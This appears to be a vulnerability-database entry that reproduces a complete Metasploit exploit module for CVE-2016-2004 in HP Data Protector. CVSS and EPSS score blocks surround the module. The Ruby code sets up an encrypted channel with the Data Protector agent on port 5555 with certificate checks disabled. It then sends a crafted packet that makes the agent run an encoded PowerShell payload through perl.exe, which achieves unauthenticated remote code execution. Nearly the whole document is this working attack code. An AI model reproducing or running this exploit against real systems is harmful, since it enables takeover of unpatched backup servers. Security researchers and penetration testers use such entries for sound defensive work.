9.3 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.369 Low
EPSS
Percentile
97.2%
# Exploit Title: Data Protector Encrypted Communications
# Date: 26-05-2016
# Exploit Author: Ian Lovering
# Vendor Homepage: http://www8.hp.com/uk/en/software-solutions/data-protector-backup-recovery-software/
# Version: A.09.00 and earlier
# Tested on: Windows Server 2008
# CVE : CVE-2016-2004
#
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "HP Data Protector Encrypted Communication Remote Command Execution",
'Description' => %q{
This module exploits a well known remote code exection exploit after establishing encrypted control communications with a Data Protector agent. This allows exploitation of Data Protector agents that have been configured to only use encrypted control communications. This exploit works by executing the payload with Microsoft PowerShell so will only work against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows Server 2008 R2."
},
'License' => MSF_LICENSE,
'Author' => [ 'Ian Lovering' ],
'References' =>
[
[ 'CVE', '2016-2004' ],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'WfsDelay' => 30,
'RPORT' => 5555
},
'Privileged' => false,
'DisclosureDate' => "Apr 18 2016",
'DefaultTarget' => 0))
end
def check
# For the check command
connect
sock.put(rand_text_alpha_upper(64))
response = sock.get_once(-1)
disconnect
if response.nil?
return Exploit::CheckCode::Safe
end
service_version = Rex::Text.to_ascii(response).chop.chomp
if service_version =~ /HP Data Protector/
print_status(service_version)
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def generate_dp_payload
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ remove_comspec: true, encode_final_payload: true })
payload =
"\x32\x00\x01\x01\x01\x01\x01\x01" +
"\x00\x01\x00\x01\x00\x01\x00\x01" +
"\x01\x00\x20\x32\x38\x00\x5c\x70" +
"\x65\x72\x6c\x2e\x65\x78\x65\x00" +
"\x20\x2d\x65\x73\x79\x73\x74\x65" +
"\x6d('#{command}')\x00"
payload_length = [payload.length].pack('N')
return payload_length + payload
end
def exploit
# Main function
encryption_init_data =
"\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00" +
"\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00" +
"\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00" +
"\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00" +
"\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00"
print_status("Initiating connection")
# Open connection
connect
# Send init data
sock.put(encryption_init_data)
begin
buf = sock.get_once
rescue ::EOFError
end
print_status("Establishing encrypted channel")
# Create TLS / SSL context
sock.extend(Rex::Socket::SslTcp)
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
sock.sslctx.options = OpenSSL::SSL::OP_ALL
# Enable TLS / SSL
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
sock.sslsock.connect
print_status("Sending payload")
# Send payload
sock.put(generate_dp_payload(), {timeout: 5})
# Close socket
disconnect
print_status("Waiting for payload execution (this can take up to 30 seconds or so)")
end
end
9.3 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.369 Low
EPSS
Percentile
97.2%